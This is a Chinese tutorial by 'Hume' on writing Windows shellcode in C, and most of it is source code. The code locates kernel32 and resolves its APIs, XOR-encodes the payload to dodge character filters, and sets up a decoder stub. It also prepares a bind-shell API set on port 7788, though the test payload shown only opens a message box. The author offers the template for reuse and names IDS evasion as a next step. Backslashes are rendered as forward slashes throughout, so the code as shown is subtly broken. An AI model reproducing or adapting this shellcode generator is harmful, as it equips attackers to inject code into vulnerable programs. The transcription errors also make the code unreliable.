关于Windows下ShellCode编写的一点思考

    技术2022-05-11  86

    By Hume/冷雨   关于ShellCode编写的文章可谓多如牛毛。经典的有yuange、watercloud等前辈的文 章,但大都过于专业和简练,对我这样的初学者学习起来还是有不小的难度。因此把自己 的一点想法记录下来,以慰同菜。 我不是工具论者,但合适的工具无疑会提高工作效率,而如何选取合适的工具和编写 ShellCode的目的及ShellCode的运行环境是直接相关的。ShellCode一般是通过溢出等 方式获取执行权的,并且要在执行时调用目标系统的API进行一些工作,因此就要求 ShellCode采用一种较为通用的方法获取目标系统的API函数地址,其次由于其运行地址 难以确定,因此对数据的寻址要采用动态的方法。另外,ShellCode一般是作为数据发送 给受攻击程序的,而受攻击程序一般会对数据进行过滤,这对ShellCode提出了编码的要 求,现在ShellCode用的编码方法比较简单,基本是XOR大法或其变形。 编写ShellCode有目前流行的有两种方法:用C语言编写+提取;用汇编语言编写和提取。 就个人感觉而言,用汇编语言编写和提取是最方便的,因为ShellCode代码一般比较短,要 完成的任务也相对单一,一般不涉及复杂的运算。因此可以用汇编语言编写。而且用汇编 编写便于数据的控制、代码定位及生成的控制,在某些汇编编译器中,提供了直接生成二进制 代码功能并提供了直接包含二进制文件的伪指令,这样就可以直接编写一个makefile文件将 ShellCode代码和攻击程序分开,分别编写和调试,而无需print、拷贝、粘贴等操作,只需 在攻击程序中加入一段编码代码就可以了。这样也便于交流。 但现在网络上流行的都是C编写的ShellCode,不过最终要生成的是ShellCode代码,这就涉 及到提取C生成的汇编代码的问题。但在C中由于编译器会在函数的开始和结束生成一些附加 代码,而这些代码未必是我们需要的,还有一个问题就是要提取代码的结束在C中没有直接的 操作符获取。这些实际上也都不是很难,只要在函数的开始和结束加入特征字符串用C库函数 memcmp搜索即可定位。对ShellCode的编码可写一段程序进行,比如XOR法的。最后写一段 函数将编码后的ShellCode打印出来,复制、粘贴就可以用在攻击程序里面了。 用C编写的中心思想就是我们用C语言写代码,让编译器为我们生成二进制代码,然后在运行时 编码、打印,这样工作就完成了。 在网上找到了一个用C编写ShellCode的例子,于是亲自调试了一遍,发现了一些问题后修改 并加入一些自己的代码,测试通过。 其中的一些问题有: 1.KERNEL基地址的定位和API函数地址的获取    原来的代码中采用的是暴力搜索地址空间的方法。这不算最佳方法,因为一是代码比较多, 二是要处理搜索无效页面引发的异常。现在还有两种方法可用: 一种是从PEB相关数据结构中获取,请参考绿盟月刊44期SCZ的《通过TEB/PEB枚举当前进程 空间中用户模块列表》一文。代码如下: mov eax, fs:0x30     mov eax, [eax + 0x0c] mov esi, [eax + 0x1c] lodsd                 mov ebp, [eax + 0x08] //ebp 就是kernel32.dll的地址了 这种方法比较通用,适用于2K/XP/2003。 另外一种方法就是搜索进程的SEH链表获取Kernel32.UnhandledExceptionFilter的地址, 再由该地址对齐追溯获得Kernel的基地址,这种方法也是比较通用的,适用于9X/2K/XP/2003。 在下面的代码中我就采用了这种方法。 2.几段代码的作用     在ShellCode提取代码中你或许会经常见到     temp = *shellcodefnadd;     if(temp == 0xe9)     {           ++shellcodefnadd;           k=*(int *)shellcodefnadd;           shellcodefnadd+=k;           shellcodefnadd+=4;     }     这样的代码,其用途何在?答案在于在用Visual Studio生成调试版本的时候,用函数指针 操作获得的地址并不是指向真正的函数入口点,而是指向跳转指令JMP:    jmp function    上面那段代码就是处理这种情况的,如果不是为了调试方便,完全可以删去。    还有在代码中会看到:            jmp    decode_end decode_start:            pop    edx            ....... decode_end:                     call    decode_start Shell_start:     之类的代码其作用是定位Shell_start处的代码,便于装配,由于在C中没有方便的手段定位 代码的长度和位置,因此采用此变通的做法。在这种方法不符合编码的要求时,可以采用动态计算 和写入的方法。不过复杂了一点罢了。 3.关于局部变量的地址顺序     在原程序中采用了如下局部变量结构:         FARPROC     WriteFileadd;     FARPROC     ReadFileadd;     FARPROC     PeekNamedPipeadd;     FARPROC     CloseHandleadd;     FARPROC     CreateProcessadd;     FARPROC     CreatePipeadd;     FARPROC        procloadlib;     FARPROC     apifnadd[1];         以为这样编译器生成的变量地址顺序就是这样的,在有些机器上也许如此,不过在我的 机器上则不然,比如下面的测试程序: #include <windows.h> #include <stdio.h> #include <tchar.h> #include <winioctl.h> void shell(); void __cdecl main(int argc,char *argv[]) {     FARPROC arg1;     FARPROC arg2;     FARPROC arg3;     FARPROC arg4;     FARPROC arg5;     int par1;     int par2;     int par3;     int par4;     char ch;     printf("Size of FARPROC %d/n",sizeof(FARPROC));     printf("/n%X/n%X/n%X/n%X/n%X/n/n  /t%X/n%X/n%X/n%X/n /t%X/n",         &arg1,         &arg2,         &arg3,         &arg4,         &arg5,         &par1,         &par2,         &par3,         &par4,         &ch         ); } 在我机器上产生的输出是: 12FF7C 12FF78 12FF74 12FF70 12FF68         12FF6C 12FF64 12FF60 12FF5C         12FF58 这证实了局部变量的实际地址并不是完全按我们自己定义排列的。因此原来ShellCode中采用的 直接使用函数名的方法就可靠了。因此我采用了其它的方法,C提供的Enum关键字使得这项 工作变得容易,详见下面的代码。 4.more 关于变形ShellCode躲避IDS检测,以及编码方法等需进一步研究。 5.代码     可见,用C编写ShellCode需要对代码生成及C编译器行为有更多了解。有些地方处理起来也 不是很省力。不过一旦模板写成,以后写起来或写复杂ShellCode就省力多了。     增加API时只要在相应的.dll后增加函数名称项(如果str中还没有相应的dll,增加之)并 同步更新Enum的索引即可。调用API时直接使用:          API[_APINAME](param,....param);     即可。     如果没注释掉有#define  DEBUG 1的话,下面代码编译后运行即可对ShellCode进行调试, 下面代码将弹出一个对话框,点击确定即可结束程序。that's ALL。 ------------------------------------------- /*             使用C语言编写通用shellcode的程序 出处:internet 修改:Hume/冷雨飘心 测试:Win2K SP4 Local */ #include <windows.h> #include <stdio.h> #include <winioctl.h> #define  DEBUG 1 // //函数原型 // void     DecryptSc(); void     ShellCodes(); void     PrintSc(char *lpBuff, int buffsize); // //用到的部分定义 // #define  BEGINSTRLEN    0x08    //开始字符串长度 #define  ENDSTRLEN      0x08    //结束标记字符的长度 #define  nop_CODE       0x90    //填充字符 #define  nop_LEN        0x0     //ShellCode起始的填充长度 #define  BUFFSIZE       0x20000 //输出缓冲区大小 #define  sc_PORT        7788    //绑定端口号 0x1e6c #define  sc_BUFFSIZE    0x2000  //ShellCode缓冲区大小 #define  Enc_key        0x7A    //编码密钥 #define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够? #define  MAX_Sc_Len     0x2000  //hellCode的最大长度 8192足够? #define  MAX_api_strlen 0x400   //APIstr字符串的长度 #define  API_endstr     "strend"//API结尾标记字符串     #define  API_endstrlen  0x06    //标记字符串长度 #define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90/                    __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 #define PROC_END PROC_BEGIN //--------------------------------------------------- enum{       //Kernel32             _CreatePipe,             _CreateProcessA,             _CloseHandle,             _PeekNamedPipe,             _ReadFile,             _WriteFile,             _ExitProcess,             //WS2_32             _socket,             _bind,             _listen,             _accept,             _send,             _recv,             _ioctlsocket,             _closesocket,             //本机测试User32             _MessageBeep,             _MessageBoxA,             API_num }; // //代码这里开始 // int __cdecl main(int argc, char **argv) {   //shellcode中要用到的字符串   static char ApiStr[]="/x1e/x6c"   //端口地址             //Kernel32的API函数名称             "CreatePipe""/x0"             "CreateProcessA""/x0"             "CloseHandle""/x0"             "PeekNamedPipe""/x0"             "ReadFile""/x0"             "WriteFile""/x0"             "ExitProcess""/x0"             //其它API中用到的API             "wsock32.dll""/x0"             "socket""/x0"             "bind""/x0"             "listen""/x0"             "accept""/x0"             "send""/x0"             "recv""/x0"             "ioctlsocket""/x0"             "closesocket""/x0"             //本机测试             "user32.dll""/x0"             "MessageBeep""/x0"             "MessageBoxA""/x0"             "/x0/x0/x0/x0/x0"             "strend";   char  *fnbgn_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90";  //标记开始的字符串   char  *fnend_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90";  //标记结束的字符串   char  buff[BUFFSIZE];         //缓冲区   char  sc_buff[sc_BUFFSIZE];   //ShellCodes缓冲   char  *pDcrypt_addr,         *pSc_addr;   int   buff_len;               //缓冲长度   int   EncCode_len;            //加密编码代码长度   int   Sc_len;                 //原始ShellCode的长度   int       i,k;   unsigned  char ch;   //   //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串   //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这   //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理   //   pDcrypt_addr=(char *)DecryptSc;   //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,   //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试   ch=*pDcrypt_addr;   if (ch==0xe9)   {       pDcrypt_addr++;       i=*(int *)pDcrypt_addr;       pDcrypt_addr+=(i+4);      //此时指向函数的实际地址   }   //找到解码代码的开始部分   for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;   if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8);   //如找到定位实际代码的开始   else   {       //显示错误信息       k=0;       printf("/nNo Begin str defined in Decrypt function!Please Check before go on.../n");       return 0;   }   for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break;   if (k<MAX_Enc_Len) EncCode_len=k;   else   {       k=0;       printf("/nNo End str defined in Decrypt function!Please Check..../n");       return 0;   }   memset(buff,nop_CODE,BUFFSIZE);                       //缓冲区填充   memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);        //把DecryptSc代码复制进buff   //   //处理ShellCode代码,如果需要定位到代码的开始   //   pSc_addr=(char *)ShellCodes;     //shellcode的地址   //调试状态下的函数地址处理,便于调试   ch=*pSc_addr;   if (ch==0xe9)   {       pSc_addr++;       i=*(int *)pSc_addr;       pSc_addr+=(i+4);      //此时指向函数的实际地址   }   //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的   /*   for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;   if (k<MAX_Enc_Len) pSc_addr+=(k+8);   //如找到定位实际代码的开始   */   //找到shellcode的结尾及长度   for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break;   if (k<MAX_Sc_Len) Sc_len=k;   else   {       k=0;       printf("/nNo End str defined in ShellCodes function!Please Check..../n");       return 0;   }   //把shellcode代码复制进sc_buff   memcpy(sc_buff,pSc_addr,Sc_len);   //把字符串拷贝在shellcode的结尾   for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break;   if(i>=MAX_api_strlen)   {       printf("/nNo End str defined in API strings!Please Check..../n");       return 0;   }   memcpy(sc_buff+k,ApiStr,i);   Sc_len+=i;        //增加shellcode的长度   //   //对shellcode进行编码算法简单,可根据需要改变   //   k=EncCode_len+nop_LEN;    //定位缓冲区应存放ShellCode地址的开始   for(i=0;i<Sc_len;++i){      ch=sc_buff[i]^Enc_key;      //对一些可能造成shellcode失效的字符进行替换      if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='//'||ch=='0'||ch=='?'||ch=='%'||ch=='+')      {         buff[k]='0';         ++k;         ch+=0x31;      }      //把编码过的shellcode放在DecryptSc代码后面      buff[k]=ch;      ++k;   }   //shellcode的总长度   buff_len=k;   //打印出shellcode   PrintSc(buff,buff_len);   //buff[buff_len]=0;   //printf("%s",buff); #ifdef DEBUG   _asm{       lea eax,buff       jmp eax       ret   } #endif     return  0; } //解码shellcode的代码 void  DecryptSc() {        __asm{ / //定义开始标志 /           PROC_BEGIN    //C macro to begin proc           jmp   next getEncCodeAddr:           pop   edi           push  edi           pop   esi           xor   ecx,ecx Decrypt_lop:           lodsb           cmp  al,cl           jz   shell           cmp  al,0x30  //判断是否为特殊字符           jz   special_char_clean store:                 xor  al,Enc_key           stosb           jmp  Decrypt_lop special_char_clean:             lodsb           sub al,0x31           jmp store next:               call  getEncCodeAddr           //其余真正加密的shellcode代码会连接在此处 shell:     / //定义结束标志 /           PROC_END      //C macro to end proc           } }         // //shellcode代码 // void ShellCodes() {     //API低址数组         FARPROC     API[API_num];     //自己获取的API地址     FARPROC     GetProcAddr;     FARPROC    LoadLib;     HANDLE      hKrnl32;     HANDLE      libhandle;     char        *ApiStr_addr,*p;          int         k;     u_short     shellcodeport;     //测试用变量     char        *testAddr; /*     STARTUPINFO siinfo;     SOCKET      listenFD,clientFD;     struct      sockaddr_in server;     int         iAddrSize = sizeof(server);     int         lBytesRead;     PROCESS_INFORMATION ProcessInformation;     HANDLE      hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;     SECURITY_ATTRIBUTES sa; */ _asm {         jmp    locate_addr0 getApiStr_addr:         pop    ApiStr_addr         //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址         //以后就可以方便地获取任何API的地址了         //保护寄存器         pushad     xor     esi,esi         lods    dword ptr fs:[esi]          Search_Krnl32_lop:         inc     eax         je      Krnl32_Base_Ok         dec     eax         xchg    esi,eax         LODSD           jmp     Search_Krnl32_lop Krnl32_Base_Ok:         LODSD                                                   ;compare if PE_hdr         xchg    esi,eax     find_pe_header:         dec     esi         xor     si,si           ;kernel32 is 64kb align         mov     eax,[esi]         add     ax,-'ZM'        ;               jne     find_pe_header         mov     edi,[esi+3ch]   ;.e_lfanew                 mov     eax,[esi+edi]         add     eax,-'EP'       ;anti heuristic change this if you are using MASM etc.             jne     find_pe_header                    push     esi                                 ;esi=VA Kernel32.BASE                                 ;edi=RVA K32.pehdr                 mov     ebx,esi         mov     edi,[ebx+edi+78h]  ;peh.DataDirectory                  push    edi         push    esi         mov     eax,[ebx+edi+20h]  ;peexc.AddressOfNames                         mov     edx,[ebx+edi+24h]  ;peexc.AddressOfNameOrdinals               call    __getProcAddr         _emit 0x47         _emit 0x65         _emit 0x74         _emit 0x50         _emit 0x72         _emit 0x6F         _emit 0x63         _emit 0x41         _emit 0x64         _emit 0x64         _emit 0x72         _emit 0x65         _emit 0x73         _emit 0x73         _emit 0x0         //db     "GetProcAddress",0 __getProcAddr:         pop     edi         mov     ecx,15                 sub     eax,4 next_:                 add     eax,4         add     edi,ecx         sub     edi,15         mov     esi,[ebx+eax]         add     esi,ebx         mov     ecx,15         repz    cmpsb         jnz     next_         pop     esi         pop     edi         sub     eax,[ebx+edi+20h]      ;peexc.AddressOfNames         shr     eax,1         add     edx,ebx         movzx   eax,word ptr [edx+eax]                 add     esi,[ebx+edi+1ch]       ;peexc.AddressOfFunctions         add     ebx,[esi+eax*4]         ;ebx=Kernel32.GetProcAddress.addr                                         ;use GetProcAddress and hModule to get other func         pop     esi                     ;esi=kernel32 Base         mov     [hKrnl32],esi           //保存         mov     [GetProcAddr],ebx       //保存         call    _getLoadLib         _emit 0x4C         _emit 0x6F         _emit 0x61         _emit 0x64         _emit 0x4C         _emit 0x69         _emit 0x62         _emit 0x72         _emit 0x61         _emit 0x72         _emit 0x79         _emit 0x41         _emit 0x0         //db      "LoadLibraryA",0          _getLoadLib:         push    esi         call    ebx         mov     [LoadLib],eax         //恢复寄存器,避免更多问题         popad     }    //取出定义的端口地址    shellcodeport=*(u_short *)ApiStr_addr;    ApiStr_addr+=2;       测试用     testAddr=ApiStr_addr;       //利用GetProcAddress来获得shellcode中所用到的API地址    libhandle=hKrnl32;    p=ApiStr_addr;    k=0;    ///*    while ( *((unsigned int *)p) != 0)    {        ApiStr_addr=p;        while(*p) p++;   //前进到下一个字符串        if (*( (unsigned int *)(p-4))=='lld.')        {            libhandle=(HANDLE)LoadLib(ApiStr_addr);  //若为DLL则加载DLL        }        else        {            API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);            k++;        }               ApiStr_addr=++p; //更新指针前进一个字符位置           }       //*/ /// //         下面就可以使用C语言来编写真正实现功能的shellcode了                // /// // //简单测试几个API看是否复合要求 // API[_MessageBeep](0x10); API[_MessageBoxA](0,testAddr,0,0x40); API[_ExitProcess](0); /// //                           shellcode功能部分结束                       // /// //死循环 die:       goto die; __asm     { locate_addr0:              call getApiStr_addr      //5 bytes //真正的字符串数据要连接在此处      / //定义结束标志 /           PROC_END      //C macro to end proc             } } // //显示打印生成的shellcode的C string格式代码 // void PrintSc(char *lpBuff, int buffsize) {     int i,j;     char *p;     char msg[4];     for(i=0;i<buffsize;i++)     {         if((i)==0)             if(i!=0)                 printf("/"/n/"");             else                 printf("/"");         sprintf(msg,"//x%.2X",lpBuff[i]&0xff);         for( p = msg, j=0; j < 4; p++, j++ )         {             if(isupper(*p))                 printf("%c", _tolower(*p));             else                 printf("%c", p[0]);         }     }     printf("/";/n/*Shell total are %d bytes *//n",buffsize); } 

    最新回复(0)